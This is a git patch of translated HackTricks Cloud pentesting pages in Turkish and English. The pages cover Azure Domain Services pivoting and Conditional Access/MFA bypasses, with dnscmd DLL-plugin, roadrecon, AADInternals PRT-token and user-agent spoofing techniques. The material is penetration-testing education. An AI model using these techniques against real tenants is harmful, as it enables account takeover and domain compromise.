From 01d229ef136f321bd73b527e535451286bb2bad3 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 12 Feb 2026 13:32:44 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- .github/pull_request_template.md | 13 +- src/banners/hacktricks-training.md | 12 +- .../az-domain-services.md | 34 ++--- ...-conditional-access-policies-mfa-bypass.md | 116 +++++++++--------- .../gcp-apigee-post-exploitation.md | 68 ++++++++++ 5 files changed, 160 insertions(+), 83 deletions(-) create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-apigee-post-exploitation.md diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 00922a8cb..3bd15c5e4 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,9 +1,12 @@ +Bu içeriği PR'ı göndermeden önce kaldırabilirsiniz: + ## Atıf -Bilginizi değerlendiriyoruz ve içerik paylaşmanızı teşvik ediyoruz. Lütfen yalnızca sahip olduğunuz veya orijinal yazardan paylaşma izni aldığınız içeriği yüklediğinizden emin olun (eklenen metinde veya değiştirdiğiniz sayfanın sonunda yazara bir referans ekleyerek veya her ikisini yaparak). Fikri mülkiyet haklarına saygınız, herkes için güvenilir ve yasal bir paylaşım ortamını teşvik eder. +Bilginizi önemsiyoruz ve içerik paylaşmanızı teşvik ediyoruz. Lütfen yalnızca size ait olan veya orijinal yazardan paylaşma izniniz olan içeriği yüklediğinizden emin olun (eklenen metne veya değiştirdiğiniz sayfanın sonuna yazara referans ekleyerek veya her ikisi). Fikri mülkiyet haklarına gösterdiğiniz saygı, herkes için güvenilir ve yasal bir paylaşım ortamı sağlar. -## HackTricks Eğitimi -Eğer [ARTE sertifikası](https://training.hacktricks.xyz/courses/arte) sınavında 3 yerine 2 bayrakla geçmek için ekleme yapıyorsanız, PR'yi `arte-` olarak adlandırmalısınız. +## HackTricks Training +If you are sending a PR so you can pass the in the [ARTE certification](https://hacktricks-training.com/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-`, `grte-` or `azrte-`, depending on the certification you are doing. -Ayrıca, dilbilgisi/sözdizimi düzeltmelerinin sınav bayrak azaltımı için kabul edilmeyeceğini unutmayın. +Ayrıca, dilbilgisi/sözdizimi düzeltmelerinin sınav için flag reduction kapsamında kabul edilmeyeceğini unutmayın. -Her durumda, HackTricks'e katkıda bulunduğunuz için teşekkürler! + +Her durumda, HackTricks'e katkınız için teşekkürler! diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index 5ca011683..f313c5a88 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -1,14 +1,14 @@ > [!TIP] -> AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -> GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) -> Azure Hacking'i öğrenin ve pratik yapın: [**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte) +> AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)\ +> GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)\ +> Az Hacking'i öğrenin ve pratik yapın: [**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte) > >
> > HackTricks'i Destekleyin > -> - [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! -> - **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. +> - [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +> - **Katılın** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) veya [**telegram group**](https://t.me/peass) veya **Twitter**'da bizi **takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +> - **PR göndererek hacking tricks paylaşın:** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. > >
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md index 6c837d427..205ecdb03 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md @@ -2,44 +2,44 @@ {{#include ../../../banners/hacktricks-training.md}} -## Domain Services +## Domain Hizmetleri -Microsoft Entra Domain Services, Domain Controller'ları yönetmeye gerek kalmadan Azure'da bir Active Directory dağıtımına olanak tanır (aslında onlara erişiminiz bile yoktur). +Microsoft Entra Domain Services, Azure'da Domain Controller'ları yönetme gereği duymadan bir Active Directory dağıtmanıza olanak tanır (aslında onlara erişiminiz bile yoktur). -Ana amacı, modern kimlik doğrulama yöntemlerini kullanamayan veya dizin sorgularının her zaman yerel bir AD DS ortamına geri dönmesini istemediğiniz eski uygulamaları bulutta çalıştırmanıza izin vermektir. +Ana amacı, modern kimlik doğrulama yöntemlerini kullanamayan veya dizin aramalarının her zaman on-premises bir AD DS ortamına geri dönmesini istemediğiniz legacy uygulamaları bulutta çalıştırabilmenizi sağlamaktır. -Entra ID'de oluşturulan kullanıcıları (ve diğer aktif dizinlerden senkronize edilmeyenleri) AD domain hizmetine senkronize etmek için **kullanıcının şifresini** yeni bir şifre ile **değiştirmeniz** gerektiğini unutmayın. Aslında, kullanıcı şifre değiştirilene kadar Microsoft Entra ID'den Domain Services'a senkronize edilmez. +Note that in order to synchronize the users generated in Entra ID (and not synchronized from other active directories) to the AD domain service you need to **change the password of the user** to a new one so it can be synchronized with the new AD. Actually, the user isn't synchronized from Microsoft Entra ID to Domain Services until the password is changed. > [!WARNING] -> Yeni bir aktif dizin alanı oluşturuyor olsanız bile, onu tamamen yönetemezsiniz (bazı yanlış yapılandırmaları istismar etmediğiniz sürece), bu da varsayılan olarak örneğin AD'de doğrudan kullanıcı oluşturamayacağınız anlamına gelir. Kullanıcıları **Entra ID'den senkronize ederek** oluşturursunuz. Tüm kullanıcıları (diğer yerel AD'lerden senkronize edilenler dahil), yalnızca bulut kullanıcılarını (Entra ID'de oluşturulan kullanıcılar) veya hatta **daha fazla filtreleme** yapabilirsiniz. +> Yeni bir active directory domain oluşturuyor olsanız bile onu tamamen yönetemeyeceğinizi unutmayın (bazı yanlış yapılandırmalar sömürülmedikçe); bu da varsayılan olarak örneğin AD içinde doğrudan kullanıcı oluşturamayacağınız anlamına gelir. Kullanıcıları **Entra ID'den senkronize ederek** oluşturursunuz. Tüm kullanıcıları (diğer on-premise AD'lerden senkronize edilenler dahil), sadece cloud kullanıcılarını (Entra ID'de oluşturulan kullanıcılar) veya hatta **daha fazla filtreleyerek** senkronize edecek şekilde belirleyebilirsiniz. > [!NOTE] -> Genel olarak, yeni alanın yapılandırmasındaki esneklik eksikliği ve AD'lerin genellikle zaten yerel olması nedeniyle, bu Entra ID ve AD arasındaki ana entegrasyon değildir, ancak yine de nasıl istismar edileceğini bilmek ilginçtir. +> Genel olarak, yeni domain konfigürasyonundaki esneklik eksikliği ve AD'lerin genelde zaten on-premise olmasından dolayı, bu Entra ID ile AD arasındaki ana entegrasyon değildir; yine de nasıl ele geçirilebileceğini bilmek ilginçtir. ### Pivoting -Oluşturulan **`AAD DC Administrators`** grubunun üyeleri, yönetilen alana katılan VM'lerde yerel yönetici izinleri alır (ancak domain controller'larda değil) çünkü yerel yöneticiler grubuna eklenirler. Bu grubun üyeleri ayrıca **Uzak Masaüstü ile domain-joined VM'lere uzaktan bağlanabilir** ve ayrıca şu grupların üyeleridir: +Oluşturulan **`AAD DC Administrators`** grubunun üyelerine, yerel administrators grubuna eklendikleri için yönetilen domaine katılmış VM'lerde (ancak domain denetleyicilerinde değil) yerel yönetici izinleri verilir. Bu grubun üyeleri ayrıca **Remote Desktop kullanarak domaine katılmış VM'lere uzaktan bağlanabilirler** ve ayrıca şu grupların da üyeleridir: -- **`Denied RODC Password Replication Group`**: Bu, şifrelerinin RODC'lerde (Salt Okunur Domain Controller'lar) önbelleğe alınamayacağı kullanıcıları ve grupları belirten bir gruptur. -- **`Group Policy Creators Owners`**: Bu grup, üyelere alanda Grup Politikaları oluşturma izni verir. Ancak, üyeleri grup politikalarını kullanıcılara veya gruplara uygulayamaz veya mevcut GPO'ları düzenleyemez, bu nedenle bu ortamda çok ilginç değildir. -- **`DnsAdmins`**: Bu grup, DNS ayarlarını yönetmeye olanak tanır ve geçmişte [yetki yükseltmek ve alanı tehlikeye atmak için istismar edilmiştir](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), ancak bu ortamda saldırıyı test ettikten sonra açığın yamanmış olduğu kontrol edilmiştir: +- **`Denied RODC Password Replication Group`**: Bu grup, parolalarının RODC'lerde (Read-Only Domain Controllers) önbelleğe alınamayan kullanıcıları ve grupları belirtir. +- **`Group Policy Creators Owners`**: Bu grup, üyelerine domainde Group Policy oluşturmaya izin verir. Ancak üyeleri kullanıcı veya gruplara group policy uygulayamıyor ya da mevcut GPO'ları düzenleyemiyor, bu yüzden bu ortamda çok ilginç değil. +- **`DnsAdmins`**: Bu grup DNS ayarlarını yönetmeye izin verir ve geçmişte [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins) için suistimal edilmişti, ancak bu ortamdaki saldırı test edildikten sonra zafiyetin yamalandığı görüldü: ```text -dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll +dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll DNS Server failed to reset registry property. Status = 5 (0x00000005) Command failed: ERROR_ACCESS_DENIED 5 0x5 ``` -Not edin ki, bu izinleri vermek için, AD içinde **`AAD DC Administrators`** grubu önceki grupların bir üyesi yapılır ve ayrıca GPO **`AADDC Computers GPO`** alan grubu **`AAD DC Administrators`** üyelerini Yerel Yöneticiler olarak ekler. +Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**. -Entra ID'den Domain Services ile oluşturulmuş bir AD'ye geçiş yapmak basittir, sadece bir kullanıcıyı **`AAD DC Administrators`** grubuna ekleyin, alan içindeki herhangi/bütün makinelere RDP ile erişin ve verileri çalabilir ve ayrıca **alanı tehlikeye atabilirsiniz.** +Entra ID'den Domain Services ile oluşturulmuş bir AD'ye Pivoting yapmak basittir: bir kullanıcıyı **`AAD DC Administrators`** grubuna ekleyin, domaine ait herhangi/bütün makinelere RDP ile erişin; böylece veri çalabilir ve ayrıca **compromise the domain.** -Ancak, alanın Entra ID'ye geçişi o kadar kolay değildir çünkü alandan hiçbir şey Entra ID'ye senkronize edilmemektedir. Ancak, her zaman tüm VM'lerin metadata'sını kontrol edin çünkü atanan yönetilen kimlikleri ilginç izinlere sahip olabilir. Ayrıca **alanın tüm kullanıcı şifrelerini dökün** ve bunları kırmaya çalışın, ardından Entra ID / Azure'a giriş yapın. +Ancak domain'den Entra ID'ye pivoting yapmak o kadar kolay değildir çünkü domainden Entra ID'ye hiçbir şey senkronize edilmemektedir. Bununla birlikte, domain'e katılmış tüm VMs'in metadata'sını her zaman kontrol edin; atanan managed identities ilginç izinlere sahip olabilir. Ayrıca **dump all the users passwords from the domain** ve bunları crack etmeyi deneyip ardından Entra ID / Azure'a login olmaya çalışın. > [!NOTE] -> Geçmişte, bu yönetilen AD'de DC'leri tehlikeye atmaya izin veren başka güvenlik açıkları bulundu, [bunun gibi](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). DC'yi tehlikeye atan bir saldırgan, Azure yöneticileri fark etmeden veya bunu kaldırma yeteneği olmadan kalıcılığı çok kolay bir şekilde sürdürebilir. +> Geçmişte bu managed AD'de DCs'i compromise etmeye izin veren başka zafiyetler bulundu, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). DCs'i compromise eden bir saldırgan, Azure admins fark etmeden veya kaldırmalarına imkan vermeden kolayca persistence sağlayabilirdi. -### Enumeration +### Keşif ```bash # Get configured domain services domains (you can add more subs to check in more subscriptions) az rest --method post \ @@ -59,7 +59,7 @@ az rest --method post \ # Get domain configuration az rest --url "https://management.azure.com/subscriptions//resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/?api-version=2022-12-01&healthdata=true" ## e.g. -az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true" +az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true" # Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index 5d78fa040..a573a779d 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1,18 +1,18 @@ -# Az - Koşullu Erişim Politikaları & MFA Atlatma +# Az - Conditional Access Policies & MFA Bypass {{#include ../../../../banners/hacktricks-training.md}} ## Temel Bilgiler -Azure Koşullu Erişim politikaları, belirli **koşullara** dayalı olarak Azure hizmetlerine ve uygulamalarına erişim kontrollerini uygulamak için Microsoft Azure'da kurulan kurallardır. Bu politikalar, organizasyonların doğru koşullar altında doğru erişim kontrollerini uygulayarak kaynaklarını güvence altına almasına yardımcı olur.\ -Koşullu erişim politikaları temelde **Kim**'in **Neye** **Nereden** ve **Nasıl** erişebileceğini **tanımlar**. +Azure Conditional Access policies are rules set up in Microsoft Azure to enforce access controls to Azure services and applications based on certain **koşullar**. These policies help organizations secure their resources by applying the right access controls under the right circumstances.\\ +Conditional access policies basically **tanımlar** **Kim**'in **Ne**'ye **Nereden** ve **Nasıl** erişebileceğini. İşte birkaç örnek: -1. **Oturum Açma Risk Politikası**: Bu politika, bir oturum açma riski tespit edildiğinde çok faktörlü kimlik doğrulama (MFA) gerektirecek şekilde ayarlanabilir. Örneğin, bir kullanıcının oturum açma davranışı, farklı bir ülkeden oturum açmak gibi, normal desenine kıyasla alışılmadık olduğunda, sistem ek kimlik doğrulama talep edebilir. -2. **Cihaz Uygunluk Politikası**: Bu politika, yalnızca organizasyonun güvenlik standartlarına uygun cihazların Azure hizmetlerine erişimini kısıtlayabilir. Örneğin, yalnızca güncel antivirüs yazılımına sahip veya belirli bir işletim sistemi sürümünü çalıştıran cihazlardan erişime izin verilebilir. +1. **Sign-In Risk Policy**: Bu politika, oturum açma riski tespit edildiğinde çok faktörlü kimlik doğrulama (MFA) gerektirecek şekilde ayarlanabilir. Örneğin, bir kullanıcının giriş davranışı düzenli desenine kıyasla alışılmadıksa, farklı bir ülkeden giriş yapmak gibi, sistem ek kimlik doğrulaması isteyebilir. +2. **Device Compliance Policy**: Bu politika, kuruluşun güvenlik standartlarına uygun cihazlarla sınırlı olacak şekilde Azure services erişimini kısıtlayabilir. Örneğin, erişim yalnızca güncel antivirüs yazılımına sahip cihazlardan veya belirli bir işletim sistemi sürümünü çalıştıran cihazlardan sağlanabilir. -## Sayım +## Keşif ```bash # Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1) az rest --method GET --uri 'https://graph.windows.net//policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}' @@ -20,79 +20,79 @@ az rest --method GET --uri 'https://graph.windows.net//policies?api-v # You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies" ``` -## Koşullu Erişim Politikası Aşmaları +## Koşullu Erişim Politikalarının Atlatılması -Bir koşullu erişim politikasının **kolayca manipüle edilebilecek bazı bilgileri kontrol etmesi mümkündür, bu da politikanın aşılmasına olanak tanır**. Örneğin, politika MFA yapılandırıyorsa, saldırgan bunu aşabilecektir. +Bir conditional access policy'nin **kolayca değiştirilebilecek bazı bilgileri kontrol ediyor olması ve bunun politikanın atlanmasına izin vermesi** mümkündür. Örneğin politika MFA yapılandırıyorsa, saldırgan bunu atlayabilecektir. -Bir koşullu erişim politikası yapılandırırken, **etkilenen kullanıcılar** ve **hedef kaynaklar** (tüm bulut uygulamaları gibi) belirtilmelidir. +Bir conditional access policy yapılandırılırken etkilenen **kullanıcıları** ve **hedef kaynakları** (ör. all cloud apps) belirtmek gerekir. -Ayrıca, politikayı **tetikleyecek** **koşulların** yapılandırılması gerekmektedir: +Ayrıca politikayı **tetikleyecek** **koşulların** yapılandırılması gerekir: -- **Ağ**: IP, IP aralıkları ve coğrafi konumlar -- Bir VPN veya Proxy kullanarak bir ülkeye bağlanmak veya izin verilen bir IP adresinden giriş yapmayı başarmak suretiyle aşılabilir -- **Microsoft riskleri**: Kullanıcı riski, Giriş riski, İçeriden gelen risk -- **Cihaz platformları**: Herhangi bir cihaz veya Android, iOS, Windows phone, Windows, macOS, Linux seçilebilir -- “Herhangi bir cihaz” seçilmediğinde ancak diğer tüm seçenekler seçildiğinde, bu platformlarla ilgili olmayan rastgele bir kullanıcı aracısı kullanarak aşmak mümkündür -- **İstemci uygulamaları**: Seçenekler “Tarayıcı”, “Mobil uygulamalar ve masaüstü istemciler”, “Exchange ActiveSync istemcileri” ve “Diğer istemciler” -- Seçilmeyen bir seçenekle giriş yaparak aşmak -- **Cihazlar için filtre**: Kullanılan cihaza ilişkin bir kural oluşturmak mümkündür -- **Kimlik doğrulama akışları**: Seçenekler “Cihaz kodu akışı” ve “Kimlik doğrulama transferi” -- Bu, saldırganı etkilemeyecektir, yalnızca bu protokollerden herhangi birini bir kimlik avı girişiminde kurbanın hesabına erişmek için kötüye kullanmaya çalışıyorsa +- **Network**: Ip, IP ranges ve coğrafi konumlar +- Bir VPN veya Proxy kullanarak izin verilen bir ülkeye bağlanmak ya da izin verilen bir IP adresinden giriş yapmayı başararak atlanabilir +- **Microsoft risks**: User risk, Sign-in risk, Insider risk +- **Device platforms**: Any device veya Android, iOS, Windows phone, Windows, macOS, Linux seçeneklerini seçme +- Eğer “Any device” seçili değil ama diğer tüm seçenekler seçiliyse, bu platformlarla ilişkisi olmayan rasgele bir user-agent kullanarak atlamak mümkün +- **Client apps**: Seçenekler “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” ve “Other clients” +- Seçili olmayan bir seçenekle giriş yaparak atlatma +- **Filter for devices**: Kullanılan cihaza ilişkin bir kural üretmek mümkün +- **Authentication flows**: Seçenekler “Device code flow” ve “Authentication transfer” +- Bu, saldırganı etkilemez; ancak eğer saldırgan bu protokollerden herhangi birini phishing amaçlı kötüye kullanmaya çalışıyorsa fark yaratabilir -Olası **sonuçlar**: Erişimi engelle veya MFA, cihazın uyumlu olmasını gerektiren potansiyel koşullarla erişim izni ver. +Olası **sonuçlar**: Block veya Grant access, örn. MFA gerektirme, cihazın compliant olması gibi ek koşullarla… -### Cihaz Platformları - Cihaz Koşulu +### Device Platforms - Device Condition -**Cihaz platformuna** (Android, iOS, Windows, macOS...) dayalı bir koşul belirlemek mümkündür, ancak bu **kullanıcı aracısına** dayandığı için aşılması kolaydır. Tüm seçenekler MFA'yı zorunlu kılacak şekilde yapılandırılsa bile, **tanınmayan bir kullanıcı aracısı** kullanırsanız, MFA'yı veya engeli aşabileceksiniz: +Bir koşul **device platform** (Android, iOS, Windows, macOS...) bazında ayarlanabilir, ancak bu **user-agent** tabanlı olduğu için kolayca atlanabilir. Tüm seçenekleri MFA zorunlu kılacak şekilde yapılandırmak bile işe yaramaz; tanınmayan bir **user-agent** kullanırsanız MFA veya block tetiklenmeyecektir:
-Tarayıcının **bilinmeyen bir kullanıcı aracısı göndermesi** (örneğin `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) bu koşulu tetiklememek için yeterlidir.\ -Geliştirici araçlarında kullanıcı aracısını **manuel olarak** değiştirebilirsiniz: +Sadece tarayıcının **bilinmeyen bir user-agent göndermesi** (ör. `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) bu koşulu tetiklememek için yeterlidir.\ +User agent'i developer tools içinde **manuel olarak** değiştirebilirsiniz:
-Ya da [bunun gibi bir tarayıcı uzantısı](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en) kullanabilirsiniz. +Ya da [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en) kullanabilirsiniz. -### Lokasyonlar: Ülkeler, IP aralıkları - Cihaz Koşulu +### Locations: Countries, IP ranges - Device Condition -Bu koşullu politikada ayarlandığında, bir saldırgan sadece **izin verilen ülkede** bir **VPN** kullanabilir veya bu koşulları aşmak için **izin verilen bir IP adresinden** erişim sağlamanın bir yolunu bulmaya çalışabilir. +Eğer bu conditional policy içinde ayarlıysa, saldırgan izin verilen ülkedeki bir **VPN** kullanarak ya da izin verilen bir **IP address** üzerinden erişim sağlayarak bu koşulları atlayabilir. -### Bulut Uygulamaları +### Cloud Apps -Bir kullanıcı **belirli bir uygulamaya** erişmeye çalıştığında, örneğin MFA'yı engellemek veya zorlamak için **koşullu erişim politikaları yapılandırmak** mümkündür: +Bir conditional access policy, bir kullanıcı belirli bir app'a erişmeye çalıştığında örneğin MFA'yı block veya zorunlu kılacak şekilde yapılandırılabilir:
-Bu korumayı aşmaya çalışmak için, **sadece herhangi bir uygulamaya** giriş yapıp yapamayacağınıza bakmalısınız.\ -[**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) aracı, **onlarca uygulama kimliğini sabit kodlamış** ve bunlara giriş yapmayı deneyecek, başarılı olursa size token verecektir. +Bu korumayı atlatmayı denemek için, herhangi bir uygulamaya **giriş yapıp yapamayacağınıza** bakmalısınız.\ +Araç [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) **onlarca application ID'yi hardcoded** içerir ve bunlara giriş denemesi yapar; başarılı olursa size bildirir ve token'ı bile verir. -**Belirli kaynaklarda belirli uygulama kimliklerini test etmek** için ayrıca şu aracı kullanabilirsiniz: +Belirli kaynaklardaki **belirli application ID'lerini test etmek** için ayrıca şu tür bir araç da kullanılabilir: ```bash roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout ``` -Ayrıca, giriş yöntemini korumak da mümkündür (örneğin, tarayıcıdan veya masaüstü uygulamasından giriş yapmaya çalışıyorsanız). Araç [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) bu korumaları aşmaya çalışmak için bazı kontroller gerçekleştirir. +Ayrıca, giriş yöntemini (ör. tarayıcıdan veya masaüstü uygulamasından giriş yapmaya çalışıyorsanız) korumak da mümkündür. Araç [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) bu korumaları aşmaya çalışmak için bazı kontroller de gerçekleştirir. -Araç [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) benzer amaçlar için kullanılabilir, ancak bakımsız görünüyor. +Araç [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) benzer amaçlar için de kullanılabilir, ancak bakımı yapılmıyor gibi görünmektedir. -Araç [**ROPCI**](https://github.com/wunderwuzzi23/ropci) bu korumaları test etmek ve MFA'ları veya engelleri aşmanın mümkün olup olmadığını görmek için de kullanılabilir, ancak bu araç **beyaz kutu** perspektifinden çalışır. Öncelikle kiracıda izin verilen Uygulamalar listesini indirmeniz gerekir ve ardından bunlara giriş yapmaya çalışacaktır. +Araç [**ROPCI**](https://github.com/wunderwuzzi23/ropci) bu korumaları test etmek ve MFA'ları veya engellemeleri aşmanın mümkün olup olmadığını görmek için de kullanılabilir, ancak bu araç **whitebox** perspektifinden çalışır. Önce tenant'ta izin verilen uygulamaların listesini indirmeniz gerekir, sonra bu uygulamalara giriş yapmayı deneyecektir. -## Diğer Az MFA Aşmaları +## Diğer Az MFA Bypasses -### Zil sesi +### Zil tonu -Bir Azure MFA seçeneği, **yapılandırılmış telefon numarasına bir çağrı almak** ve kullanıcıdan **`#` karakterini göndermesini istemektir**. +Bir Azure MFA seçeneği, kullanıcının **belirlenen telefon numarasına çağrı alması** ve çağrı sırasında kullanıcıdan **`#` karakterini göndermesi** istenmesidir. > [!CAUTION] -> Karakterler sadece **tonlar** olduğundan, bir saldırgan **telefon numarasının** **sesli mesajını** **tehdit edebilir**, mesaj olarak **`#` tonunu** ayarlayabilir ve ardından MFA talep edildiğinde **kurbanın telefonunun meşgul olmasını** (aramak suretiyle) sağlayarak Azure çağrısının sesli mesaja yönlendirilmesini sağlayabilir. +> Karakterler sadece **tonlar** olduğundan, bir saldırgan telefon numarasının **sesli mesaj** içeriğini **ele geçirebilir**, mesaj olarak **`#` tonunu** ayarlayabilir ve MFA isteğinde bulunduğunda **hedefin telefonu meşgul** (aramak) olduğundan emin olarak Azure çağrısının sesli mesaja yönlendirilmesini sağlayabilir. ### Uyumlu Cihazlar -Politikalar genellikle uyumlu bir cihaz veya MFA talep eder, bu nedenle bir **saldırgan uyumlu bir cihaz kaydedebilir**, bir **PRT** token alabilir ve **bu şekilde MFA'yı aşabilir**. +Politikalar genellikle uyumlu bir cihaz veya MFA ister, bu yüzden bir **saldırgan uyumlu bir cihaz kaydedebilir**, **PRT** alabilir ve **böylece MFA'yı atlayabilir**. -Öncelikle **Intune'da uyumlu bir cihaz kaydederek** başlayın, ardından **PRT'yi** almak için: +Önce **Intune'da bir uyumlu cihaz** kaydederek başlayın, sonra **PRT'yi alın** şu komutla: ```bash $prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\.pfx -Credentials $credentials @@ -102,39 +102,45 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` -Aşağıdaki sayfada bu tür bir saldırı hakkında daha fazla bilgi bulabilirsiniz: +Find more information about this kind of attack in the following page: {{#ref}} ../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md {{#endref}} -## Araçlar +## Tooling ### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) -Bu script bazı kullanıcı kimlik bilgilerini alır ve bazı uygulamalara giriş yapıp yapamayacağını kontrol eder. +This script get some user credentials and check if it can login in some applications. -Bu, bazı uygulamalara giriş yapmak için **MFA gerekmiyorsa** bunu görmek için faydalıdır; bu uygulamaları daha sonra **yetki yükseltmek** için kötüye kullanabilirsiniz. +Bu script bazı kullanıcı kimlik bilgilerini alır ve bazı uygulamalara giriş yapıp yapamadığını kontrol eder. + +This is useful to see if you **aren't required MFA to login in some applications** that you might later abuse to **escalate pvivileges**. + +Bu, daha sonra kötüye kullanabileceğiniz bazı uygulamalara giriş için **MFA gerekmiyor** olup olmadığını görmenize yardımcı olur; böylece **escalate pvivileges** için fırsat olup olmadığını belirleyebilirsiniz. ### [roadrecon](https://github.com/dirkjanm/ROADtools) +Get all the policies + Tüm politikaları alır. ```bash roadrecon plugin policies ``` ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) -MFASweep, sağlanan bir kimlik bilgileri seti kullanarak **çeşitli Microsoft hizmetlerine giriş yapmayı deneyen ve MFA'nın etkin olup olmadığını belirlemeye çalışan** bir PowerShell betiğidir. Koşullu erişim politikaları ve diğer çok faktörlü kimlik doğrulama ayarlarının nasıl yapılandırıldığına bağlı olarak bazı protokoller tek faktörlü kalabilir. Ayrıca, ADFS yapılandırmaları için ek bir kontrol içerir ve tespit edilirse yerel ADFS sunucusuna giriş yapmayı deneyebilir. +MFASweep, **sağlanan kimlik bilgileriyle çeşitli Microsoft hizmetlerine giriş yapmayı deneyen ve MFA'nın etkin olup olmadığını tespit etmeye çalışacak** bir PowerShell scriptidir. Koşullu erişim politikalarının ve diğer çok faktörlü kimlik doğrulama ayarlarının nasıl yapılandırıldığına bağlı olarak bazı protokoller tek faktörlü kalabilir. Ayrıca ADFS yapılandırmaları için ek bir kontrol içerir ve tespit 